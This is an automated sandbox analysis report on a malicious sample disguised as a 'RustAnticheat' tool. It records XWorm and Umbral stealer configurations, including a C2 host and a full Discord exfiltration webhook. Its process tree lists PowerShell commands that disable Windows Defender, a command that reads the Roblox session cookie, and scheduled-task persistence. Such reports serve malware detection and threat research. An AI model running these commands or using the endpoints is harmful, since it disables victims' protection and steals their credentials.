Analysis

  • max time kernel
    122s
  • max time network
    126s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    19-09-2024 12:43

General

  • Target

    RustAnticheat.exe

  • Size

    1.1MB

  • MD5

    6d63fe8c87e642d9e380a13803aa6858

  • SHA1

    5652877b527da6cec16dfa7e9653d3657fedea8b

  • SHA256

    066692a03f240a40c237f5ec3270d27cac1fda40630dd29f40db006b79a542a8

  • SHA512

    32ad077db3f44cd184f60a715464a0540615fee76cbb4de20c6a2703b1ef2a74391adfad0e77a4c3b2340f9bafbc18238445f19e7fcebf2c11e76e66376d000d

  • SSDEEP

    24576:Ucvup1OydVxYPtGU8ynaQpLUcgs5JTqzCZxGcQVyULZ6U6/:U/1OydfMrgsfX04KZ69/

Malware Config

Extracted

Family

xworm

C2

expected-schema.gl.at.ply.gg:2980

Attributes
  • Install_directory

    %LocalAppData%

  • install_file

    USB.exe

Extracted

Family

umbral

C2

https://discord.com/api/webhooks/1286299751637192826/RNAV05TJwC7uQTEETo8ZiWSJKOrj5gYY87jlWomaK7jJ1jmuh7qm4pMjcc2ZUhDh6jxd

Signatures

  • Detect Umbral payload 2 IoCs
  • Detect Xworm Payload 3 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Xworm

    Xworm is a remote access trojan written in C#.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 1 IoCs
  • Drops startup file 2 IoCs
  • Executes dropped EXE 4 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Delays execution with timeout.exe 1 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\RustAnticheat.exe
    "C:\Users\Admin\AppData\Local\Temp\RustAnticheat.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2108
    • C:\Users\Admin\RuntimeBroker.exe
      "C:\Users\Admin\RuntimeBroker.exe"
      2⤵
      • Drops startup file
      • Executes dropped EXE
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2460
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\RuntimeBroker.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2092
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'RuntimeBroker.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2212
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\RuntimeBroker'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1228
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'RuntimeBroker'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1800
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "RuntimeBroker" /tr "C:\Users\Admin\AppData\Local\RuntimeBroker"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1544
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /delete /f /tn "RuntimeBroker"
        3⤵
          PID:3032
        • C:\Windows\system32\cmd.exe
          cmd /c ""C:\Users\Admin\AppData\Local\Temp\tmp8076.tmp.bat""
          3⤵
            PID:2688
            • C:\Windows\system32\timeout.exe
              timeout 3
              4⤵
              • Delays execution with timeout.exe
              PID:2436
        • C:\Users\Admin\RustAntich1eat.exe
          "C:\Users\Admin\RustAntich1eat.exe"
          2⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:2336
        • C:\Users\Admin\Umbral.exe
          "C:\Users\Admin\Umbral.exe"
          2⤵
          • Drops file in Drivers directory
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2472
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic.exe" csproduct get uuid
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2528
          • C:\Windows\system32\attrib.exe
            "attrib.exe" +h +s "C:\Users\Admin\Umbral.exe"
            3⤵
            • Views/modifies file attributes
            PID:2508
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\Umbral.exe'
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1112
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2072
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:284
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2524
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic.exe" os get Caption
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:512
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic.exe" computersystem get totalphysicalmemory
            3⤵
              PID:1696
            • C:\Windows\System32\Wbem\wmic.exe
              "wmic.exe" csproduct get uuid
              3⤵
                PID:2268
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                3⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:2124
              • C:\Windows\System32\Wbem\wmic.exe
                "wmic" path win32_VideoController get name
                3⤵
                • Detects videocard installed
                PID:2884
              • C:\Windows\system32\cmd.exe
                "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\Umbral.exe" && pause
                3⤵
                • System Network Configuration Discovery: Internet Connection Discovery
                PID:2292
                • C:\Windows\system32\PING.EXE
                  ping localhost
                  4⤵
                  • System Network Configuration Discovery: Internet Connection Discovery
                  • Runs ping.exe
                  PID:1656
          • C:\Windows\system32\taskeng.exe
            taskeng.exe {8E1E6AF5-0A20-4CA3-BE5F-2FE4D3423ADE} S-1-5-21-457978338-2990298471-2379561640-1000:WOUOSVRD\Admin:Interactive:[1]
            1⤵
            • Suspicious use of WriteProcessMemory
            PID:2480
            • C:\Users\Admin\AppData\Local\RuntimeBroker
              C:\Users\Admin\AppData\Local\RuntimeBroker
              2⤵
              • Executes dropped EXE
              PID:2704

          Network

          MITRE ATT&CK Enterprise v15

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          Downloads

          • C:\Users\Admin\AppData\Local\Temp\tmp8076.tmp.bat

            Filesize

            146B

            MD5

            0fe279bc75cbc7e570445f03114906dd

            SHA1

            e7d766651201e48ad410c876e6ded1959f25bb30

            SHA256

            476ecb11854fa57d6f9a3f83257abfeacf5fd1488b7ea6bfafc9f6544a3d3569

            SHA512

            1f6b0e90851b94495a619360f724f35bac79fccda72ccf450ad59ae7dc654b4839f019f837507274f1b97383062b09a95f02ca093e46716343a701e942ea51b8

          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\8A0DDMXINYVHCWR1IJTA.temp

            Filesize

            7KB

            MD5

            8e60506efb3e4877bf629c281f151c0e

            SHA1

            e8c0b9f35b20ff76615c32224ed628db9bebe654

            SHA256

            19b743052ee1d207b1d2e0ee4927814043b936aafb5c423538758e2d90418b61

            SHA512

            c73a64f3b6198ed8f8449f2f4eaba20e42697a7a663912d590c58d70daa346695242a83d051082e65101926877cfdea5720c9110df37a0f0a6357efd3d4e29d0

          • C:\Users\Admin\RuntimeBroker.exe

            Filesize

            84KB

            MD5

            98ccb6806d126e3a211b963d3341efd7

            SHA1

            108dfe1979c04c588f87d6fc2bb57c3ac10f6742

            SHA256

            11f00d48ecd890e9b8658c652a6283ead05dea9bcd641d89d0bd7f0f618f3cd2

            SHA512

            373caadac1ad290d60ea41663482946889ae9e0fea96115e21ba38d19d2bf6123c47501190c3fb33ef51aa07f6dbddc4eab43b82cbc008c4f83684707e1d3510

          • C:\Users\Admin\RustAntich1eat.exe

            Filesize

            827KB

            MD5

            eefb801774c5ccb44153268a9357f5f1

            SHA1

            b1906b22e14edd142c52808ab3e5ba9346b85de5

            SHA256

            677aeb1981c58cba41a5d53ccbbf5b471e62dc49dc326570767da940560d840d

            SHA512

            1cf162fe6184d68dca514059d2de1123e80d0faac401765a54224aa5a987c9454bc92263fbec566835aa7b402f1f63ba59bb425ccc139e0a7391e66991f270b7

          • C:\Users\Admin\Umbral.exe

            Filesize

            230KB

            MD5

            4647720ef8607199527cb3b0bc793587

            SHA1

            0728b0cc0fc7e0a1a8ed14c0861f8757780e4163

            SHA256

            349bfc065bf0580379be8c6e0d0dca592deec1bfc104d8d28c70454436de6337

            SHA512

            906baf94232c9f76d193021345259d01e23d81b3d9a948067035979235fd45e739e89b8047148f61d2f210c40e561067a040100ccacebbf8921050f12a0281f8

          • memory/1112-29-0x000000001B230000-0x000000001B512000-memory.dmp

            Filesize

            2.9MB

          • memory/1112-30-0x0000000001F50000-0x0000000001F58000-memory.dmp

            Filesize

            32KB

          • memory/1800-75-0x000000001B1A0000-0x000000001B482000-memory.dmp

            Filesize

            2.9MB

          • memory/1800-76-0x0000000001FC0000-0x0000000001FC8000-memory.dmp

            Filesize

            32KB

          • memory/2092-38-0x000000001B3D0000-0x000000001B6B2000-memory.dmp

            Filesize

            2.9MB

          • memory/2092-39-0x0000000002280000-0x0000000002288000-memory.dmp

            Filesize

            32KB

          • memory/2108-0-0x000007FEF5DA3000-0x000007FEF5DA4000-memory.dmp

            Filesize

            4KB

          • memory/2108-1-0x0000000000F30000-0x0000000001056000-memory.dmp

            Filesize

            1.1MB

          • memory/2336-20-0x0000000000BE0000-0x0000000000CB6000-memory.dmp

            Filesize

            856KB

          • memory/2336-23-0x00000000003F0000-0x00000000003FA000-memory.dmp

            Filesize

            40KB

          • memory/2336-22-0x00000000003F0000-0x00000000003FA000-memory.dmp

            Filesize

            40KB

          • memory/2336-80-0x00000000003F0000-0x00000000003FA000-memory.dmp

            Filesize

            40KB

          • memory/2460-21-0x000007FEF5DA0000-0x000007FEF678C000-memory.dmp

            Filesize

            9.9MB

          • memory/2460-63-0x000007FEF5DA0000-0x000007FEF678C000-memory.dmp

            Filesize

            9.9MB

          • memory/2460-9-0x0000000000310000-0x000000000032C000-memory.dmp

            Filesize

            112KB

          • memory/2460-106-0x000007FEF5DA0000-0x000007FEF678C000-memory.dmp

            Filesize

            9.9MB

          • memory/2472-19-0x0000000000E20000-0x0000000000E60000-memory.dmp

            Filesize

            256KB

          • memory/2704-92-0x0000000000AD0000-0x0000000000AEC000-memory.dmp

            Filesize

            112KB